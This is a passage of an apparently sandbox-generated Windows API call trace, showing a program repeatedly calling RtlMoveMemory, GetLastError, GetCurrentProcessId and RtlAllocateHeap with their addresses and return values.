Destination=0x14b1c48) [0122.207] GetLastError () returned 0x0 [0122.207] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0122.207] GetLastError () returned 0x0 [0122.207] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0122.207] GetLastError () returned 0x0 [0122.207] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0122.207] GetLastError () returned 0x0 [0122.207] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0122.207] GetLastError () returned 0x0 [0122.207] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0122.207] GetLastError () returned 0x0 [0122.207] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0122.207] GetLastError () returned 0x0 [0122.207] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0122.207] GetLastError () returned 0x0 [0122.207] RtlMoveMemory (in: Destination=0x14b1c18, Source=0x18ea8c, Length=0x4 | out: Destination=0x14b1c18) [0122.208] GetLastError () returned 0x0 [0122.208] RtlMoveMemory (in: Destination=0x14b1c18, Source=0x18ea90, Length=0x4 | out: Destination=0x14b1c18) [0122.208] GetLastError () returned 0x0 [0122.208] GetCurrentProcessId () returned 0x9e0 [0122.208] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x3831c18 [0122.208] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832ec0 [0122.208] RtlMoveMemory (in: Destination=0x18ea8c, Source=0x14b1c68, Length=0x4 | out: Destination=0x18ea8c) [0122.208] GetLastError () returned 0x0 [0122.208] RtlMoveMemory (in: Destination=0x18ea90, Source=0x14b1c68, Length=0x4 | out: Destination=0x18ea90) [0122.208] GetLastError () returned 0x0 [0122.208] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0122.208] GetLastError () returned 0x0 [0122.208] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0122.208] GetLastError () returned 0x0 [0122.209] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0122.209] GetLastError () returned 0x0 [0122.209] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0122.209] GetLastError () returned 0x0 [0122.209] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0122.209] GetLastError () returned 0x0 [0122.209] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0122.209] GetLastError () returned 0x0 [0122.209] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0122.209] GetLastError () returned 0x0 [0122.209] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0122.209] GetLastError () returned 0x0 [0122.209] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0122.209] GetLastError () returned 0x0 [0122.209] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0122.209] GetLastError () returned 0x0 [0122.209] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0122.210] GetLastError () returned 0x0 [0122.210] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0122.210] GetLastError () returned 0x0 [0122.210] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0122.210] GetLastError () returned 0x0 [0122.210] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0122.210] GetLastError () returned 0x0 [0122.210] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0122.210] GetLastError () returned 0x0 [0122.210] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0122.210] GetLastError () returned 0x0 [0122.210] RtlMoveMemory (in: Destination=0x14b1c18, Source=0x18ea8c, Length=0x4 | out: Destination=0x14b1c18) [0122.210] GetLastError () returned 0x0 [0122.210] RtlMoveMemory (in: Destination=0x14b1c18, Source=0x18ea90, Length=0x4 | out: Destination=0x14b1c18) [0122.210] GetLastError () returned 0x0 [0122.211] GetCurrentProcessId () returned 0x9e0 [0122.211] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x3831c18 [0122.211] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832ec0 [0122.211] RtlMoveMemory (in: Destination=0x18ea8c, Source=0x14b1c68, Length=0x4 | out: Destination=0x18ea8c) [0122.211] GetLastError () returned 0x0 [0122.211] RtlMoveMemory (in: Destination=0x18ea90, Source=0x14b1c68, Length=0x4 | out: Destination=0x18ea90) [0122.211] GetLastError () returned 0x0 [0122.211] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0122.211] GetLastError () returned 0x0 [0122.211] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0122.211] GetLastError () returned 0x0 [0122.211] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0122.211] GetLastError () returned 0x0 [0122.211] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0122.211] GetLastError () returned 0x0 [0122.211] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0122.211] GetLastError () returned 0x0 [0122.212] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0122.212] GetLastError () returned 0x0 [0122.212] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0122.212] GetLastError () returned 0x0 [0122.212] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0122.212] GetLastError () returned 0x0 [0122.212] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0122.212] GetLastError () returned 0x0 [0122.212] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0122.212] GetLastError () returned 0x0 [0122.212] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0122.212] GetLastError () returned 0x0 [0122.212] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0122.212] GetLastError () returned 0x0 [0122.212] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0122.212] GetLastError () returned 0x0 [0122.212] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0122.213] GetLastError () returned 0x0 [0122.213] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0122.213] GetLastError () returned 0x0 [0122.213] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0122.213] GetLastError () returned 0x0 [0122.213] RtlMoveMemory (in: Destination=0x14b1c18, Source=0x18ea8c, Length=0x4 | out: Destination=0x14b1c18) [0122.213] GetLastError () returned 0x0 [0122.213] RtlMoveMemory (in: Destination=0x14b1c18, Source=0x18ea90, Length=0x4 | out: Destination=0x14b1c18) [0122.213] GetLastError () returned 0x0 [0122.213] GetCurrentProcessId () returned 0x9e0 [0122.213] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x3831c18 [0122.213] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832ec0 [0122.213] RtlMoveMemory (in: Destination=0x18ea8c, Source=0x14b1c68, Length=0x4 | out: Destination=0x18ea8c) [0122.213] GetLastError () returned 0x0 [0122.213] RtlMoveMemory (in: Destination=0x18ea90, Source=0x14b1c68, Length=0x4 | out: Destination=0x18ea90) [0122.214] GetLastError () returned 0x0 [0122.214] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0122.214] GetLastError () returned 0x0 [0122.214] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0122.214] GetLastError () returned 0x0 [0122.214] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0122.214] GetLastError () returned 0x0 [0122.214] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0122.214] GetLastError () returned 0x0 [0122.214] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0122.214] GetLastError () returned 0x0 [0122.214] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0122.214] GetLastError () returned 0x0 [0122.219] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0122.219] GetLastError () returned 0x0 [0122.219] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0122.219] GetLastError () returned 0x0 [0122.220] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0122.220] GetLastError () returned 0x0 [0122.220] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0122.220] GetLastError () returned 0x0 [0122.220] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0122.220] GetLastError () returned 0x0 [0122.220] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0122.220] GetLastError () returned 0x0 [0122.220] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0122.220] GetLastError () returned 0x0 [0122.220] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0122.220] GetLastError () returned 0x0 [0122.220] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0122.220] GetLastError () returned 0x0 [0122.220] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0122.220] GetLastError () returned 0x0 [0122.220] RtlMoveMemory (in: Destination=0x14b1c18, Source=0x18ea8c, Length=0x4 | out: Destination=0x14b1c18) [0122.221] GetLastError () returned 0x0 [0122.221] RtlMoveMemory (in: Destination=0x14b1c18, Source=0x18ea90, Length=0x4 | out: Destination=0x14b1c18) [0122.221] GetLastError () returned 0x0 [0122.221] GetCurrentProcessId () returned 0x9e0 [0122.221] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x3831c18 [0122.221] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832ec0 [0122.221] RtlMoveMemory (in: Destination=0x18ea8c, Source=0x14b1c68, Length=0x4 | out: Destination=0x18ea8c) [0122.221] GetLastError () returned 0x0 [0122.221] RtlMoveMemory (in: Destination=0x18ea90, Source=0x14b1c68, Length=0x4 | out: Destination=0x18ea90) [0122.221] GetLastError () returned 0x0 [0122.221] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0122.222] GetLastError () returned 0x0 [0122.222] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0122.222] GetLastError () returned 0x0 [0122.222] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0122.222] GetLastError () returned 0x0 [0122.222] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0122.222] GetLastError () returned 0x0 [0122.222] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0122.222] GetLastError () returned 0x0 [0122.222] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0122.222] GetLastError () returned 0x0 [0122.222] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0122.222] GetLastError () returned 0x0 [0122.222] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0122.222] GetLastError () returned 0x0 [0122.222] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0122.222] GetLastError () returned 0x0 [0122.223] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0122.223] GetLastError () returned 0x0 [0122.223] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0122.223] GetLastError () returned 0x0 [0122.223] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0122.223] GetLastError () returned 0x0 [0122.223] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0122.223] GetLastError () returned 0x0 [0122.223] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0122.223] GetLastError () returned 0x0 [0122.223] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0122.223] GetLastError () returned 0x0 [0122.223] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0122.223] GetLastError () returned 0x0 [0122.223] RtlMoveMemory (in: Destination=0x14b1c18, Source=0x18ea8c, Length=0x4 | out: Destination=0x14b1c18) [0122.223] GetLastError () returned 0x0 [0122.223] RtlMoveMemory (in: Destination=0x14b1c18, Source=0x18ea90, Length=0x4 | out: Destination=0x14b1c18) [0122.224] GetLastError () returned 0x0 [0122.224] GetCurrentProcessId () returned 0x9e0 [0122.224] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x3831c18 [0122.224] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832ec0 [0122.224] RtlMoveMemory (in: Destination=0x18ea8c, Source=0x14b1c68, Length=0x4 | out: Destination=0x18ea8c) [0122.224] GetLastError () returned 0x0 [0122.224] RtlMoveMemory (in: Destination=0x18ea90, Source=0x14b1c68, Length=0x4 | out: Destination=0x18ea90) [0122.224] GetLastError () returned 0x0 [0122.224] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0122.224] GetLastError () returned 0x0 [0122.224] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0122.224] GetLastError () returned 0x0 [0122.224] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0122.224] GetLastError () returned 0x0 [0122.224] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0122.224] GetLastError () returned 0x0 [0122.225] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0122.225] GetLastError () returned 0x0 [0122.225] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0122.225] GetLastError () returned 0x0 [0122.225] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0122.225] GetLastError () returned 0x0 [0122.225] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0122.225] GetLastError () returned 0x0 [0122.232] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0122.232] GetLastError () returned 0x0 [0122.233] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0122.233] GetLastError () returned 0x0 [0122.236] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0122.236] GetLastError () returned 0x0 [0122.236] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0122.236] GetLastError () returned 0x0 [0122.236] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0122.236] GetLastError () returned 0x0 [0122.236] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0122.236] GetLastError () returned 0x0 [0122.236] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0122.236] GetLastError () returned 0x0 [0122.236] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0122.236] GetLastError () returned 0x0 [0122.236] RtlMoveMemory (in: Destination=0x14b1c18, Source=0x18ea8c, Length=0x4 | out: Destination=0x14b1c18) [0122.236] GetLastError () returned 0x0 [0122.236] RtlMoveMemory (in: Destination=0x14b1c18, Source=0x18ea90, Length=0x4 | out: Destination=0x14b1c18) [0122.236] GetLastError () returned 0x0 [0122.238] GetCurrentProcessId () returned 0x9e0 [0122.239] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x3831c18 [0122.239] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832ec0 [0122.239] RtlMoveMemory (in: Destination=0x18ea8c, Source=0x14b1c68, Length=0x4 | out: Destination=0x18ea8c) [0122.239] GetLastError () returned 0x0 [0122.239] RtlMoveMemory (in: Destination=0x18ea90, Source=0x14b1c68, Length=0x4 | out: Destination=0x18ea90) [0122.239] GetLastError () returned 0x0 [0122.239] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0122.239] GetLastError () returned 0x0 [0122.239] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0122.239] GetLastError () returned 0x0 [0122.239] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0122.239] GetLastError () returned 0x0 [0122.239] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0122.239] GetLastError () returned 0x0 [0122.240] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0122.240] GetLastError () returned 0x0 [0122.240] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0122.240] GetLastError () returned 0x0 [0122.240] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0122.240] GetLastError () returned 0x0 [0122.240] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0122.240] GetLastError () returned 0x0 [0122.240] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0122.240] GetLastError () returned 0x0 [0122.240] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0122.240] GetLastError () returned 0x0 [0122.240] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0122.240] GetLastError () returned 0x0 [0122.240] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0122.240] GetLastError () returned 0x0 [0122.240] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0122.240] GetLastError () returned 0x0 [0122.240] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0122.240] GetLastError () returned 0x0 [0122.241] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0122.241] GetLastError () returned 0x0 [0122.241] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0122.241] GetLastError () returned 0x0 [0122.241] RtlMoveMemory (in: Destination=0x14b1c18, Source=0x18ea8c, Length=0x4 | out: Destination=0x14b1c18) [0122.241] GetLastError () returned 0x0 [0122.241] RtlMoveMemory (in: Destination=0x14b1c18, Source=0x18ea90, Length=0x4 | out: Destination=0x14b1c18) [0122.241] GetLastError () returned 0x0 [0122.241] GetCurrentProcessId () returned 0x9e0 [0122.241] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x3831c18 [0122.241] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832ec0 [0122.241] RtlMoveMemory (in: Destination=0x18ea8c, Source=0x14b1c68, Length=0x4 | out: Destination=0x18ea8c) [0122.241] GetLastError () returned 0x0 [0122.241] RtlMoveMemory (in: Destination=0x18ea90, Source=0x14b1c68, Length=0x4 | out: Destination=0x18ea90) [0122.241] GetLastError () returned 0x0 [0122.241] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0122.241] GetLastError () returned 0x0 [0122.241] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0122.241] GetLastError () returned 0x0 [0122.241] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0122.241] GetLastError () returned 0x0 [0122.241] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0122.242] GetLastError () returned 0x0 [0122.242] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0122.242] GetLastError () returned 0x0 [0122.242] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0122.242] GetLastError () returned 0x0 [0122.242] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0122.242] GetLastError () returned 0x0 [0122.242] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0122.242] GetLastError () returned 0x0 [0122.242] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0122.242] GetLastError () returned 0x0 [0122.242] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0122.242] GetLastError () returned 0x0 [0122.242] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0122.242] GetLastError () returned 0x0 [0122.242] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0122.242] GetLastError () returned 0x0 [0122.242] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0122.242] GetLastError () returned 0x0 [0122.242] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0122.242] GetLastError () returned 0x0 [0122.242] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0122.242] GetLastError () returned 0x0 [0122.242] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0122.242] GetLastError () returned 0x0 [0122.243] RtlMoveMemory (in: Destination=0x14b1c18, Source=0x18ea8c, Length=0x4 | out: Destination=0x14b1c18) [0122.243] GetLastError () returned 0x0 [0122.243] RtlMoveMemory (in: Destination=0x14b1c18, Source=0x18ea90, Length=0x4 | out: Destination=0x14b1c18) [0122.243] GetLastError () returned 0x0 [0122.243] GetCurrentProcessId () returned 0x9e0 [0122.243] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x3831c18 [0122.243] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832ec0 [0122.243] RtlMoveMemory (in: Destination=0x18ea8c, Source=0x14b1c68, Length=0x4 | out: Destination=0x18ea8c) [0122.243] GetLastError () returned 0x0 [0122.243] RtlMoveMemory (in: Destination=0x18ea90, Source=0x14b1c68, Length=0x4 | out: Destination=0x18ea90) [0122.243] GetLastError () returned 0x0 [0122.243] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0122.243] GetLastError () returned 0x0 [0122.243] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0122.243] GetLastError () returned 0x0 [0122.243] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0122.243] GetLastError () returned 0x0 [0122.243] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0122.243] GetLastError () returned 0x0 [0122.243] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0122.243] GetLastError () returned 0x0 [0122.243] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0122.243] GetLastError () returned 0x0 [0122.244] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0122.244] GetLastError () returned 0x0 [0122.244] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0122.244] GetLastError () returned 0x0 [0122.244] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0122.244] GetLastError () returned 0x0 [0122.244] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0122.244] GetLastError () returned 0x0 [0122.244] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0122.244] GetLastError () returned 0x0 [0122.244] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0122.244] GetLastError () returned 0x0 [0122.244] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0122.244] GetLastError () returned 0x0 [0122.244] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0122.244] GetLastError () returned 0x0 [0122.244] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0122.244] GetLastError () returned 0x0 [0122.244] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0122.244] GetLastError () returned 0x0 [0122.244] RtlMoveMemory (in: Destination=0x14b1c18, Source=0x18ea8c, Length=0x4 | out: Destination=0x14b1c18) [0122.244] GetLastError () returned 0x0 [0122.244] RtlMoveMemory (in: Destination=0x14b1c18, Source=0x18ea90, Length=0x4 | out: Destination=0x14b1c18) [0122.244] GetLastError () returned 0x0 [0122.245] GetCurrentProcessId () returned 0x9e0 [0122.245] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x3831c18 [0122.245] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832ec0 [0122.245] RtlMoveMemory (in: Destination=0x18ea8c, 